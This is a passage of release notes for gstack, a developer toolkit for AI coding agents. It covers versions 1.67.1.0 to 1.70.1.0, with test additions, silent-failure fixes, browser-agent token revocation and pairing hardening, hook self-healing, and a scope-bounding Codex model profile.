- New free tests: skill-start/skill-end contract and behavior (13), retro-metrics (11), onboarding moved-literals tombstone (3 tests pinning 12 literals both directions), context-budget ratchet (7). Parity baseline and ratchet fixtures re-captured; the shrink floor stays (OV8 evaluated).
- `test/helpers/touchfiles-data.ts`: the runtime scripts joined every dep list that named the moved generators, so diff-based eval selection still fires on script changes.

## [1.70.1.0] - 2026-08-26

**Ship names its documentation subagent at every decision point.**
**The handoff is now pinned by tests that fail loud if it ever goes quiet.**

`/ship` has dispatched `/document-release` as Step 18 since v0.18.2.0, but the v1.54.0.0 carve moved that step into an on-demand section and the always-loaded skeleton stopped saying "document-release" at any decision point (one mention survived, buried in the re-run checklist). The wiring was intact. The visibility was gone, and nothing tested the handoff. This release restores the visibility and locks it in: the section index, the STOP pointer, the Step 17 handoff line, and a new hoisted doc-sync invariant all name "the /document-release subagent" (subagent-framed on purpose, so an agent dispatches the isolated worker instead of running a weaker inline copy). A free tripwire pins the wording, carve-guard anchors pin each touchpoint independently, and a new gate-tier E2E proves a live agent actually fires the dispatch before creating the PR.

### The numbers that matter

Source: this branch's eval store (`~/.gstack/projects/<slug>/evals/`, runs of `test/skill-e2e-ship-docsync.test.ts`) and `wc -c ship/SKILL.md`.

| Property | Before | After |
|--------|--------|-------|
| Doc-sync subagent named in the Claude-host ship workflow body | 0 mentions at any decision point | 4 (section index, STOP pointer, Step 17 handoff, hoisted invariant) |
| Tests pinning the ship→document-release handoff | none | 5 free tripwire tests + 3 per-touchpoint carve anchors + 1 gate E2E |
| Live dispatch proof | never measured | 9/9 runs fire the dispatch before PR creation ($0.63-1.04, 234-319s each, sonnet-4-6) |
| Always-loaded skeleton cost | 91,267 B | 91,764 B (+497 B, cap raised to 92,300) |

Nine out of nine live runs is the line that matters. The E2E asserts on the actual tool-call stream, with a dispatch-specific matcher that a subagent merely quoting section text cannot satisfy, and a timeout-tolerant exit check that never softens the dispatch assert itself.

### What this means for gstack users

When you run `/ship`, the docs sync step is no longer an invisible line in a file the agent may summarize past. It is named at the exact moments the agent decides what to do next, and a merge-blocking test fails if any future edit makes it invisible again. A failed docs subagent still never blocks your ship. Nothing to configure. Upgrade and ship.

### Itemized changes

#### Fixed

- `/ship`'s Claude-host skeleton names "the /document-release subagent" at all three Step 18 decision points (manifest trigger rendering into the section index and STOP pointer, the Step 17 handoff line, and a hoisted doc-sync invariant beside the PR-title invariant). The invariant states the contract plainly: the dispatch itself is never skipped; only a failed subagent is non-blocking.

#### Added

- `test/ship-document-release-dispatch.test.ts`: free tripwire pinning the carved Step 18 contract (imperative, `subagent_type`, JSON return keys, non-blocking clause), the three skeleton touchpoints, the invariant-above-STOP ordering, the E2E matcher's four marker strings, and the inlined Step 18 → Step 19 ordering in the codex/factory goldens.
- `test/skill-e2e-ship-docsync.test.ts` (`ship-docsync`, gate tier): a live agent runs the sliced Step 17→19 ship tail in a hermetic git fixture; hard assert that an Agent dispatch matching the Step 18 prompt markers appears in the tool-call stream before any `gh pr create`. Fixture fails loud on step-marker drift, pins its git branch against operator config, asserts every setup command, and neutralizes the credential pre-push guard's question branch.

#### For contributors

- Carve-guards ship entry: three non-overlapping per-touchpoint anchors (gerund, imperative, third-person: no anchor subsumes another, so each is independently enforced), the carved imperative pinned to stay carved, skeleton byte cap 91,600 → 92,300 with the measured value recorded.
- `ship-docsync` registered in `E2E_TOUCHFILES` and `E2E_TIERS` (gate), with a whole-file `describeE2ETier('gate')` self-gate composed with diff selection so the file stays out of the periodic shard census; the tierless `test:evals` invisibility tradeoff is documented in the file header.
- Internal backlog notes corrected to describe the current Step 18 design (the pre-v1.54 "Step 8.5" prose was still documented as current), plus three deferred follow-ups recorded: a machine-checkable dispatch receipt, the same dispatch-pin treatment for land-and-deploy→canary, and the periodic shard-census ceiling arithmetic.

## [1.69.0.0] - 2026-08-22

**The silent-failure wave: tools that reported success while doing nothing —**
**or the wrong thing — now do what they say, or say loudly that they couldn't.**

Every fix in this wave closes the same failure shape. `gstack-evidence` — the tool other tools believe — certified runs whose environment differed from CI's, because bun auto-loaded the repo's `.env` files into every child it spawned. The gbrain wireup's first sync targeted the brain's *default* source, which could silently repoint a user's primary knowledge source at the gstack worktree while the just-registered source got zero pages — and still print a success line. `./setup --host slate` exited 0 having installed nothing. `land-and-deploy`'s merge recovery re-established everything except the `--delete-branch` half it had promised, and said nothing. A `_unattributed → deny` ingest policy never applied to exactly the pages it names. Skill-dir cleanup structurally could not find orphans. And a false-green test fixture meant the "gbrain missing" case could never fail on any machine with a real gbrain installed. Six fixes are new; five community PRs are absorbed with credit; ~17 tracker items close with receipts.

### The numbers that matter

Source: the regression tests named in each commit — every one verified to FAIL on a scratch worktree of v1.68.3.0 during the wave (the receipts standard), plus the live pre-fix probes quoted in the PR.

| Property | Before | After |
|--------|--------|-------|
| `gstack-evidence run` in a repo with `.env`/`.env.local` | child inherits bun-injected vars; ledger certifies a run CI never performs | value-equality scrub (shell-exported overrides survive), names-only warning, `GSTACK_EVIDENCE_KEEP_DOTENV=1` opt-out. Contributed by @namtrok (#2652) |
| Wireup first sync | `sync --repo` resolves against the DEFAULT source; can repoint its anchor, registered source gets 0 pages, prints success | `sync --source <id>`; `--help`-probed with `--repo`+warning fallback for old gbrains |

### What this means for you

Evidence verdicts are the run CI would perform — your shell-exported overrides still win, and the scrub tells you (key names only) what it removed. Revoking, cleaning up, and installing now either do the thing or name the thing they couldn't do. If your gbrain is on the dying ZeroEntropy recipe, gstack tells you before September 4 instead of letting search quietly rot. And five contributors' PRs are in this release with their authorship on the commits and their handles below.

### Itemized changes

#### Added
- Zero-dispatch guard in `setup`: a host that passes `--host` validation without an install arm errors loudly (names the host and the valid targets) instead of exiting 0 having configured nothing; cross-check test pins the accept-list against `hosts/index.ts` and every accept-listed host to a dispatch arm (#2361).
- ZeroEntropy sunset advisory: fail-open config detection in the wireup, provider-comment warnings in `/setup-gbrain`, and a troubleshooting entry in `USING_GBRAIN_WITH_GSTACK.md` (#2365 — refs; the gbrain-side migration remains open).
- `lib/fs-utils.ts` `mkdirpSync` (dir-confirmed EEXIST tolerance) with a bun-Windows-emulating preload fixture, applied to `gstack-redact`, `gstack-redact-prepush`, `gstack-decision-log`, and `gstack-evidence`. Contributed by @Lockyer228 (#2641; fixes #2635).
- Repo-wide heredoc scanner: any tracked shell script with an unguarded 512B–64KiB heredoc fails the free suite. Contributed by @BenjaminDSmithy (#2640).

#### Changed
- `land-and-deploy` §4a-postfail MERGED recovery reconciles the remote branch (three-way: already-clean / confirm-first delete / couldn't-verify) and states the outcome instead of staying silent (#2656).
- `make-pdf` resolves the sibling browse binary from `process.execPath` with an injectable test seam; the `about:blank` half of #2156 was already fixed in v1.64.0.0 (`browse/src/url-validation.ts` exact-match allow).
- `./setup --host slate` is an informational exit pointing at `--host claude` (per `docs/designs/SLATE_HOST.md`, Slate reads `.claude/skills` as a compatibility fallback) (#2361).

#### Fixed
- `gstack-evidence` scrubs bun-auto-loaded dotenv vars from the child env by value equality — a shell-exported override with a different value survives, `NODE_ENV=test` semantics mirror bun's, and an unreadable `.env` fails open (test-pinned). Known limitation documented in-code: bun-expanded `${VAR}` values are left in place (fails open). Contributed by @namtrok (#2652; fixes #2624; @harjothkhara's #2630 credited for the parallel diagnosis).
- Wireup first sync targets the registered source id, never the default source (#2662); support-probed with a warning fallback so gbrains at the 0.18.0 floor keep working.
- `cleanup_old_claude_symlinks` reaps orphans from the DESTINATION skills dir (dangling symlinks included) with path-segment provenance instead of a bare `*gstack*` substring. Contributed by @szsunyuan (#2634; fixes #2204).
- `gstack-memory-ingest` stores the normalized `_unattributed` remote so repo policies keyed to it actually apply under `--include-unattributed` (#2353).
- Hermetic gbrain-missing PATH fixture kills a false green on every machine with a real gbrain install. Contributed by @SomSamantray (#2615; fixes #2255).

#### For contributors
- Tests: 8,036 → 8,078 (+42 across the wave; every behavior fix carries a regression test proven red on v1.68.3.0).
- The heredoc scanner now gates every tracked shell script — new scripts with 512B–64KiB heredoc bodies need the `BASH_COMPAT=50` guard (or smaller/file-based bodies).
- On bash 4.3/4.4 (e.g. Git Bash), `BASH_COMPAT=50` prints a non-fatal `invalid value` stderr warning; those bashes never took the pipe path, so the guard is a no-op there.

## [1.68.3.0] - 2026-08-20

**Re-pairing a browser agent to narrow its access now revokes the old access on**
**the spot, revoke frees the agent's tabs, and `root` is a reserved client name.**

Tightening a paired agent is supposed to be one re-pair away. It wasn't. `POST /pair` minted a fresh setup key but never touched the agent's live session, so `pair-agent --client codex --restrict read` against an agent that had already connected (or whose new 5-minute key simply expired unexchanged) left the original full-access session, `eval` included, alive for up to 24 hours. Revocation also never released tab ownership, so an agent re-paired under the same name inherited the previous one's authenticated tabs. And because `root` is the sentinel the scope, domain, rate, and tab checks use for the omnipotent caller, `--client root` minted a "scoped" token that skipped all of them.

### The numbers that matter

Source: the before/after `BROWSE_HEADLESS_SKIP=1` daemon transcript in the PR and the regression tests in `browse/test/pair-agent-e2e.test.ts`, `browse/test/token-registry.test.ts`, and `browse/test/tab-isolation.test.ts`, which fail on the previous release.

| Property | Before | After |
|--------|--------|-------|
| Re-pair to narrow, agent hasn't reconnected | old wide session lives ~24h | old session 401s immediately |
| Narrowing re-pair before the agent connects | stale broad setup key still exchangeable | broad key dead, only the narrow key works |
| Broaden/refresh re-pair mid-task | old session lingers alongside a new key | working session kept, stale key dropped, no outage |
| Revoke a paired agent | tabs stay owned; same-name re-pair inherits them | tab ownership released; own-only access denied |
| `--client root` | "scoped" token bypasses all enforcement | rejected with a named 400 and a CLI fast-fail |

### What this means for you

Re-pair is now the real tightening lever. Re-pair an agent with its **same `--client` name** and a narrower `--restrict`/`--domain`, and the previous session is revoked and its tabs released the instant you run it, so the old access can't linger while you wait for the agent to reconnect. Broadening or refreshing the same agent leaves its working session alone, so you never strand an agent mid-task. Revoking (or a narrowing re-pair) also frees the tabs the agent opened, so reusing a client name can't hand the next agent someone else's logged-in page. `root` is rejected as a client name on both the CLI and the daemon.

### Itemized changes

#### Fixed
- A reducing re-pair (`/pair` with fewer scopes, tighter domains, a lower rate, or a stricter tab policy) revokes the client's live session and releases its tabs before minting the new key; the response carries `superseded`. Non-reducing re-pairs keep the session and only drop stale pending setup keys, so a broaden or refresh never strands a working agent. The requested grant is validated before any revoke, so a re-pair with a bad scope or rate is rejected without knocking the live session offline. (`browse/src/server.ts`, `browse/src/token-registry.ts`)
- A narrowing re-pair issued before the agent connects invalidates the earlier, broader setup key, so it can no longer be exchanged. (`browse/src/token-registry.ts`)
- Revoking an agent releases the tab ownership it held: `DELETE /token` runs the release unconditionally (ownership outlives the token) and reports `tabs_released`, and an own-only client re-paired under the same name can no longer read those tabs. A re-pair with no live session likewise frees any tabs orphaned by an expired incarnation, so a fresh session can't inherit them. (`browse/src/browser-manager.ts`, `browse/src/server.ts`)
- `root` is rejected as a `clientId` at every token writer, so a scoped token can never carry the sentinel that bypasses scope, domain, rate, and tab checks; `/pair` and `/token` return a named 400 and the CLI rejects `--client root` before it reaches the daemon. A persisted `root` entry is skipped when the registry is restored. (`browse/src/token-registry.ts`, `browse/src/cli.ts`)

#### For contributors
- Regression coverage pins each property: the reduce / broaden / shadow-key re-pair behaviors and the `grantReducesAccess` truth table (scope, domain direction, rate `0`=unlimited, tab policy) in `browse/test/pair-agent-e2e.test.ts` and `browse/test/token-registry.test.ts`; tab-ownership release and post-release denial in `browse/test/tab-isolation.test.ts`; reserved-name rejection across writers, routes, and registry restore.

## [1.68.2.0] - 2026-08-20

**Revoking a paired agent now revokes everything it holds, and the**
**documented kill switch is real: tunnel revoke deletes, then proves it.**

Revoking a remote agent was broken twice over. `revokeToken` deleted only the first token matching the agent's name, and the spent setup key kept for connection retries always sat first in line. So `DELETE /token/<agent>` returned 200 while the live session kept working, a leftover unspent setup key could mint a brand-new session for a "revoked" agent (inside the key's 5-minute validity), and a second DELETE returned 200 again. Meanwhile the documented way out, `$B tunnel revoke`, did not exist: the CLI forwarded it to the daemon as an unknown command. The pairing docs also promised a read+write sandbox three releases after pairing deliberately switched to full page access.

### The numbers that matter

Source: the before/after curl transcript in the PR (a `BROWSE_HEADLESS_SKIP=1` daemon on each branch) and the regression tests in `browse/test/token-registry.test.ts` and `browse/test/tunnel-revoke-cli.test.ts`, which fail on the previous release.

| Metric | Before | After |
|--------|--------|-------|
| DELETE /token with a pending setup key | 200, session survives | 200, all 3 tokens deleted |
| Revoked agent re-connects via leftover key | new session minted | 401 |
| `$B tunnel revoke <name>` | Unknown command 'tunnel' | revokes, then verifies against /agents |
| Second DELETE for the same agent | 200 again | 404 |
| Bare `--restrict` (forgotten value) | silent FULL access | hard error, exit 1 |
| Docs on default pairing scopes | "read+write, no JS" | read+write+admin+meta, stated plainly |

### What this means for you

Revoke means revoked: one command deletes the session and every setup key, prints the count, and re-reads the agent list to prove the agent is gone. `$B tunnel agents` shows everyone paired, pending setup keys included. The pairing docs now tell the truth about default access, when to reach for `--restrict` (agents reading untrusted pages), and that `$B stop` clears every token at once. Scope typos fail at `/pair` naming the bad scope instead of surfacing to the remote agent as a body error, and a scopes list can no longer smuggle in the `control` scope.

### Itemized changes

### Added
- `tunnel revoke <name>` and `tunnel agents` CLI subcommands: pre-server (never boot a daemon to revoke against it), post-revoke verification re-read, truthful exit codes for unknown names, unreachable daemons, and old daemons that claim success while the agent stays listed.
- `GET /agents` lists pending (unexchanged) setup keys, marked `pending`; setup-key tokens never leave the server. `DELETE /token` responses carry `tokens_deleted` and the daemon logs the count.

### Changed
- The CLI always sends an explicit scopes list; both CLI and server reference one exported `DEFAULT_PAIR_SCOPES` constant, pinned by a source tripwire so the defaults cannot drift apart again.
- The scope-denied 403 hint recommends re-pairing without `--restrict` or with `--control`; it no longer suggests `--admin`, which over-granted browser control.
- pair-agent/SKILL.md, REMOTE_BROWSER_ACCESS.md, and ARCHITECTURE.md document the real default, `--restrict`, and the tunnel allowlist nuance (`eval` works remotely; `js`/`cookies`/`storage` are local-only). The never-implemented `tunnel rotate` is replaced by `$B stop`, and the phantom `/sidebar-chat` tunnel entries are gone.

### Fixed
- `revokeToken` deletes ALL tokens for a client id: the session plus spent and pending setup keys. Closes the false-200 revoke and the re-grant hole.
- Bare `--restrict` (or `--restrict` swallowing the next flag) errors out instead of silently granting full access; `--restrict` can never grant `control`.
- Scope and rateLimit typos are rejected at `/pair` and `/token` with the field named; `rateLimit: 0` (unlimited) survives the /pair path.
- `DELETE /token/:id` decodes percent-encoded client ids, so names with spaces round-trip from the CLI.

### For contributors
- 35 new test cases: revoke-all regression shapes, a subprocess CLI harness with stub daemons pinning the version-skew net ("Revocation incomplete" on a lying daemon) and every CLI error branch, e2e scope-contract and 403-hint pins, and code-shape tripwires for `DEFAULT_PAIR_SCOPES` and the decode path.

## [1.68.1.0] - 2026-08-18

**Phantom hook errors are dead. Your settings.json now heals itself**
**on every setup, and no ephemeral path can ever be baked in again.**

If you work in Conductor workspaces or git worktrees, you have probably seen it: `PostToolUse:AskUserQuestion hook error ... No such file or directory` spraying on every question, pointing at a workspace you deleted last week. The cause was a three-part failure. Setup baked the running tree's physical path into your global `~/.claude/settings.json`, the Conductor auto-opt-in overrode the exact flag `bin/dev-setup` passes to prevent that, and the dedupe tag gstack relied on gets stripped by Claude Code itself, so every new workspace appended a fresh dead entry instead of replacing the old one.

All three are fixed at the root. Hook registration is now canonical-only: commands point at the stable `~/.claude/skills/gstack` install or are not registered at all. Ownership is decided by a fixed identity table in `bin/gstack-settings-hook`, per hook item, so it survives tag-stripping and can never claim a hook you wrote yourself. And every `./setup` run now heals first: `gstack-settings-hook prune-stale --repoint` removes dead gstack entries, re-points stale ones, restores stripped tags, and collapses duplicates, printing one line only when it changed something.

### The numbers that matter

Source: the 2026-08-17 incident on a real dev box, replayed byte-for-byte as the `incident facsimile` test in `test/gstack-settings-hook-schema-aware.test.ts`.

| Metric | Before | After | Δ |
|--------|--------|-------|---|
| Hook entries in settings.json | 11 (6 dead) | 5, all canonical | −6 dead |
| Error lines per AskUserQuestion | 4 | 0 | −4 |
| Hook processes spawned per question that do nothing | 4 | 0 | −4 |
| Traced code paths under test | — | 53 of 61 (87%) | new |

The healer also fixes damage you could not see: a corrupt settings.json is never overwritten (every mutator now fails closed instead of clobbering it with `{}`), a user-tightened 0600 file keeps its mode across rewrites (settings.json can carry API keys), concurrent setups can no longer rename a half-written temp file into place, and uninstall now cleans hooks BEFORE deleting the install root, which previously made cleanup silently no-op in exactly the case it existed for.

### What this means for you

Run `./setup` (or `/gstack-upgrade`) once and the errors stop, on every machine, with a printed receipt of what was healed and a backup beside the file. New workspaces can never reintroduce them. If you ever want everything gone, `gstack-uninstall` now actually removes every gstack hook, including the ones an older version orphaned.

### Itemized changes

### Added
- `gstack-settings-hook prune-stale [--repoint <root>] [--all]`: self-healing for hook registrations. Dead gstack entries pruned, stale paths re-pointed at the stable install, stripped `_gstack_source` tags restored from the identity table, exact duplicates and within-entry twins collapsed. Runs automatically at the start of every `./setup`; `--all` is the complete teardown sweep used by uninstall and `--no-team`.
- `gstack-config has <key>`: key-presence check through the same state-dir resolution as `get` (which returns defaults for absent keys), so consent logic can tell a recorded decision from a default.
- KNOWN_HOOKS identity table covering all six gstack hooks (plan-tune trio, timeline Stop, session update, verify-gate), shared by registration dedupe and the healer so the two can never drift.
- A mutation lock around every settings.json write: mkdir-based with an owner token, ownership-checked release, and atomic stale-lock takeover. Backups get unique names and rotate (10 kept); `rollback` validates its pointer and restores atomically.

### Changed
- Hook registration is canonical-only. Setup never writes a running-tree path into global settings; if the stable install is missing a hook, it skips with a visible log line instead. The Conductor auto-opt-in for AskUserQuestion reliability hooks now respects explicit decisions (flag, env, or a recorded config key) and fires only on the true silent fall-through.
- `add-event` is the single quoting authority: registered commands are normalized once (whitespace and shell metacharacters escaped), so a spaced or `$`-bearing install path produces a working hook from the first registration. Windows gets the required `bash ` prefix on all hooks, not just SessionStart, and MSYS-form paths no longer read as dead to the healer.
- All settings.json mutators are per-item: a hook you co-located in the same entry as a gstack hook survives every gstack operation, including uninstall, and gstack never tags an entry that contains your items.
- Teardown paths (`gstack-uninstall`, `./setup --no-team`) run hook cleanup before any deletion, sweep untagged strays by identity, and keep stderr attached so a skipped cleanup is loud, never silent.

### Fixed
- Deleted Conductor workspaces and worktrees no longer leave dead hooks erroring on every AskUserQuestion, session start, and stop event.
- A corrupt settings.json is preserved and reported (exit 3) instead of being replaced with an empty object by the next hook operation.
- settings.json file mode is preserved across rewrites; fresh files are created 0600.
- Liveness checks treat only provable absence as dead, so an unmounted volume or permission blip cannot prune a working hook.
- A vacuous test in the banner-tripwire check executed its script through JSON-as-shell-quoting, silently littering a `2nelsen` artifact in the repo root on every suite run while asserting nothing; it now passes the script as argv and asserts both branches.

### For contributors
- 60+ new or updated test cases across 8 files, including the incident facsimile, a two-writer concurrency smoke, an uninstall test that runs the installed copy from inside the root it deletes, held-lock teardown visibility, quoting round-trips, and static tripwires pinning canonical-only registration, heal-first ordering, matcher-literal parity, and the shared-prelude call sites.
- The review pipeline for this release (five specialists plus red team plus two Codex passes) contributed 14 verified hardening fixes; rejected findings are documented in the PR.

## [1.68.0.0] - 2026-08-18

**The next tracker wave: 16 verified fixes in, 90 stale PRs and 21 issues out.**
**Six community contributors credited, one queue race killed for good.**

This release lands the full next-wave queue: six community PRs ported with
authorship intact, ten fixes of our own, and the six adversarial-review
residuals the last wave deferred. The headline internals: the brain-sync
queue moved to a per-record spool directory, so the enqueue/drain race class
is structurally gone, not narrowed. The session-update lock records the
process that actually holds it, heartbeats while it works, and expires on a
hard TTL, so concurrent updaters can no longer trample a live install. And a
live bug caught during this wave's own review, a stray `~/.git` directory
silently misfiling decisions and learnings into the wrong project store, is
fixed with a self-healing cache and a ten-case parity suite.

### The numbers that matter

Source: this branch vs main (`git diff main...HEAD --stat`), the wave's
coverage audit, and the tracker close-out run on 2026-08-17.

| Metric | Value |
|---|---|
| Fixes landed (issues closed by this release) | 16 |
| Community PRs ported with credit | 6 (6 contributors) |
| Open PRs closed with receipts | 90 |
| Stale issues closed with version pointers | 21 |
| Diff | 133 files, +6,276 / −649 |
| New/extended test files | 31 (coverage audit: 96% of changed surfaces at behavior+edge+error depth) |
| Review rounds absorbed pre-merge | 3 (specialist army, then two cross-model adversarial passes) |

The tracker numbers are the striking ones: 111 stale items left the queue in
one day, each with a receipt naming the release that covered it. Contributors
whose fixes were absorbed months ago now have closure with credit instead of
an open PR going quiet.

### What this means for you

If a skill ever told you the brain queue was empty while records sat in it,
or `--probe` promised thousands of pages that `--bulk` then refused, or a
second Claude session stomped your gstack update mid-pull, those classes are
closed and each one is pinned by a regression test. Update with
`/gstack-upgrade`, which itself now fast-forwards first and never discards
unpushed work without telling you exactly what it would delete.

### Itemized changes

#### Added
- `/scrape` and `/skillify` now carry the untrusted-content processing rules,
  single-sourced with the browse reference so the wording can never drift.
  Re-derived from PR #2612. Contributed by @Lockyer228 (#2441).
- `$B cdp` allows `Emulation.setCPUThrottlingRate` and
  `Network.emulateNetworkConditions` for real perf measurement on simulated
  low-end clients. Overrides persist until cleared; the justifications say so.
  Contributed by @henbima (#2602).
- Transcript ingest honors the per-remote trust store: `deny` and `read-only`
  remotes are skipped with per-tier counts, a corrupted store aborts before
  any write, and the policy lookup is one batched subprocess for the whole
  corpus (#2392).
- The gbrain source worktree advances on the daily sync, so brains stop
  serving stale pages between setups. The unattended path refuses dirty
  worktrees and never force-removes (#2516).
- `gstack-gbrain-repo-policy get --batch`: one spawn classifies every remote.

#### Changed
- **Behavior change:** `gstack-config get <unknown-key>` now exits 1 with
  empty output, so `|| echo fallback` callers finally fire. Keys whose empty
  value is meaningful (`cross_project_learnings`, `salience_allowlist`,
  `user_slug_at_*`, `redact_repo_visibility`, `repo_mode`) still return empty
  with exit 0. Scripts that relied on unknown keys silently returning empty
  with exit 0 must add a fallback. Contributed by @benjaminberes-bp (#2611).
- The brain-sync queue is a maildir-style spool (`.brain-queue.d/`, one file
  per record, atomic rename). Writer and drainer never share an inode; the
  drain deletes only records classification proves were staged or dropped,
  so a classifier crash or a malformed pulled privacy map retains everything
  instead of discarding it. Legacy queues migrate on the next drain.
- `--probe` in memory-ingest counts through the same attribution and policy
  gates as `--bulk`, with a bounded 256KB read per transcript, so its numbers
  are the numbers. Re-derived from PR #2612. Contributed by @Lockyer228 (#2394).
- `/gstack-upgrade` fast-forwards with autostash first; the destructive
  fallback runs only on a provably-clean tree with no unpushed commits, or
  after an explicit confirmation listing exactly what would be discarded (#2517).
- Skill completion always reviews the session for durable learnings and says
  so explicitly when there are none. Re-derived from PR #2612. Contributed by
  @Lockyer228 (#2402).
- `/codex` documents the measured session-overhead reality: resume does not
  amortize the prelude, so prefer one call per skill (#2387).
- MCP scope resolution is project-first everywhere, matching Claude Code's
  verified precedence, and one project's remote gbrain registration no longer
  reclassifies every other project on the machine.

#### Fixed
- plan-tune refuses `never-ask` on one-way question ids at write time and
  reports previously-stored inert preferences in `--stats`. Contributed by
  @szsunyuan (#2488).
- A typo'd `gstack-redact` subcommand exits 1 with usage instead of silently
  scanning stdin (or hanging on a terminal). Contributed by @kinoko-studio.
- One ambiguous ref no longer kills the whole annotated screenshot: exact
  matches stay exact, ambiguous refs fall back to first-match and are counted
  visibly in the output. Contributed by @namtrok.
- `gstack-version-bump repair` refuses to write a fabricated `0.0.0.0` into
  package.json when VERSION is missing or empty, while a genuine `0.0.0.0`
  file still repairs. Re-derived from PR #2612. Contributed by @Lockyer228 (#2600).
- The session-update lock records the live holder (not the exited parent),
  heartbeats during long pulls and setups, expires on a hard TTL so a
  recycled PID cannot wedge it, and reclaims atomically with an
  ownership-checked cleanup (#2613).
- `gstack-slug` resolves the canonical owner-repo slug even when a stray
  marker directory sits above the repo; the poisoned-cache shape self-heals,
  legitimate sticky identities are preserved, and the native Windows fallback
  agrees with the shell implementation on every pinned fixture.
- `/review` checklist paths resolve from the installed skill root, so review
  runs work in every target repo, not just gstack's own checkout (#2518).
- next-version's offline fallback queries live remote refs without mutating
  local state, fetches unreadable claims before giving up, and never silently
  reissues a sibling branch's version.
- Setup-registered hooks prefer the global install path and re-point stale
  absolute paths on re-run; duplicate registrations collapse to one; a
  corrupt settings.json is refused loudly instead of being replaced.
- Windows: every `Bun.spawn` in browse carries `windowsHide` with a census
  tripwire, and project-scoped brains resolve on backslash paths.

#### For contributors
- 90 absorbed or superseded PRs and 21 fixed issues were closed with receipt
  comments pointing at the releases that covered them; ported PRs close with
  porting-commit receipts when this release merges.
- The parity-suite skeleton ceilings absorbed this wave's preamble growth
  with measured notes; the referenced-path scanner self-check re-anchored to
  the installed-root form.
- New follow-ups filed in TODOS.md: skillify structural isolation, slug store
  migration for pre-fix data, deny retroactivity for already-ingested pages,
  and the slug heal-probe cache sentinel.

## [1.67.2.0] - 2026-08-18

**Codex installs now match the model you actually run.**
**gpt-5.6-sol gets a bounded-scope profile that finishes the job, then stops.**

Every gstack skill carries a model-specific behavioral patch. This release makes that patch model-aware for Codex: `./setup --host codex` reads the top-level `model` from `${CODEX_HOME:-~/.codex}/config.toml` and renders the matching profile. The headline is `gpt-5.6-sol`. Sol reads completeness language like "exhaustive" and "Boil the Ocean" as authority to keep going, widening into adjacent cleanup and speculative hardening nobody asked for. Its new profile pins the boundary: the explicit task is the lake, adjacent findings are report-only, investigation stops once the cause is established, and the run terminates on one clean verification pass. Full coverage inside the boundary still applies, and the AskUserQuestion decision-brief format is never trimmed.

Sol is exact-match only. Terra, Luna, dated snapshots, and any suffixed ID deliberately fall back to the generic GPT profile, and the resolver warns when a near-miss like `gpt-5.6-sol-2026-08-01` lands on generic gpt.

### The numbers that matter

Source: the new periodic scope-termination eval (`EVALS=1 EVALS_TIER=periodic bun test test/codex-e2e-sol-scope.test.ts`, result in `~/.gstack/projects/<slug>/evals/`) and the free suite (`bun run test`).

| Metric | Before | After |
|---|---|---|
| Codex skill overlay | one fixed profile for every install | matched to `config.toml`, `--model` per-run override |
| Sol on a planted one-line bug (live eval) | no measurement | fixed in 21 tool calls, 173s, both decoy TODOs byte-identical |
| Scope check in that eval | not measured | untracked, staged, and unstaged files all counted |
| Hermetic Codex E2E environment | whole operator `~/.codex` tree copied in | `auth.json` only, `CODEX_HOME` pinned |
| Kiro skill profile | inherited whatever the shared render held | always the claude profile, rebuilt at install time |
| Upgrade skill reinstall target | bare `./setup` (claude) for every host | the host it was generated for |

The eval row is the one to internalize: the same investigate skill that tells Claude to boil the ocean drives Sol to fix exactly one function, run the one targeted test, and stop with two tempting decoy TODOs untouched.

### What this means for Codex users

If you run Codex on `gpt-5.6-sol`, rerun `./setup --host codex` once. Your skills keep the full gstack workflow (STOP points, review gates, decision briefs) but stop sprawling into work you did not ask for. Change your Codex model later, rerun setup, and the profile follows. `--model <id>` overrides detection for one run and tells you how to make it stick.

### Itemized changes

#### Added
- `gpt-5.6-sol` model profile (`model-overlays/gpt-5.6-sol.md`): explicit task boundary, report-only adjacent work, bounded investigation, terminate on verified completion, AskUserQuestion format preserved in full.
- Codex model detection at setup: new `scripts/resolve-codex-generation-model.ts` reads the top-level `model` from `${CODEX_HOME:-~/.codex}/config.toml`, validates against the model allowlist, treats config values as data (control characters stripped from every surfaced string, absolute-path guard on the config location), and falls back to the generic GPT profile with a warning on unreadable or unsupported configs. `./setup --host codex --model <id>` overrides for that run.
- Per-host generation defaults: `HostConfig.defaultModel`, validated at generation time. Codex renders the GPT profile when no `--model` is passed; every other host keeps claude. `docs/ADDING_A_HOST.md` documents the new field.
- Periodic scope-termination E2E (`test/codex-e2e-sol-scope.test.ts`): installs the FULL generated investigate skill, plants a one-line bug beside decoy security and migration TODOs, and asserts the fix lands inside the boundary within 30 tool calls, the decoys stay byte-identical, the regression oracle survives unweakened, and nothing gets committed. Wired into the periodic eval matrix, the paid-shard globs, and diff-based selection (`codex-sol-scope-termination`).
- Sol-specific Completeness Principle and first-run intro copy: Boil the Ocean within the user's explicit task boundary.

#### Changed
- Generated upgrade skills reinstall their own host: `./setup --host codex` in Codex renders, `--host kiro` in Kiro copies (rewritten at copy time), bare `./setup` only for Claude.
- Kiro installs render the claude profile before copying skills, then restore the resolved Codex profile, so Kiro never ships GPT-family behavioral text and live `~/.codex` symlinks stay correct. The Codex skills path honors `$CODEX_HOME`.
- The hermetic Codex E2E runner copies `auth.json` only. Operator plugins, MCP servers, rules, and skills no longer leak into supposedly hermetic evals. Per-run `model`, TOML config overrides, and `--ignore-user-config` are supported.
- `setup` resolves the Codex generation model on every run (a read-only TOML lookup), so any install path preserves a Sol user's rendered profile; the codex install summary prints the active profile and its source.

#### For contributors
- New free-tier coverage: every resolver branch including hostile-config shapes (10 tests), overlay content pins, the explicit `--model` override through the real generation CLI, real-file periodic-tier classification for both codex E2E files, and invalid `defaultModel` validation.
- Static pins in `test/setup-codex-model.test.ts` hold the load-bearing setup properties: unconditional resolver, quoted `--explicit` argv, fail-closed empty-resolver exit, the Kiro claude-render sandwich, and the `--host kiro` rewrite.
- The Sol E2E snapshots the exact prior `.agents` render and restores it in `beforeAll`, so the shared tree never stays Sol-flavored for goldens, parallel shards, or symlinked installs. Fixture commits disable gpg signing so the eval runs under any global git config.

## [1.67.1.0] - 2026-08-16

**We read every line of external-contributor code from the last two months.**
**Six findings hardened, two refuted, zero backdoors.**

gstack ran an explicit security sweep over all external-contributor code merged since mid-June: the seven directly-merged `time-attack` PRs, the two fork-port squash waves, and the roughly fifty absorbed community PRs. About 38,000 lines across ~500 files, read with an adversarial eye. The verdict up front: no backdoor, no exfiltration path, no live secret leak. The contributions are net security-strengthening. This release hardens the six real findings the sweep confirmed and locks each one behind a regression test, so the property it protects holds by construction, not by luck.

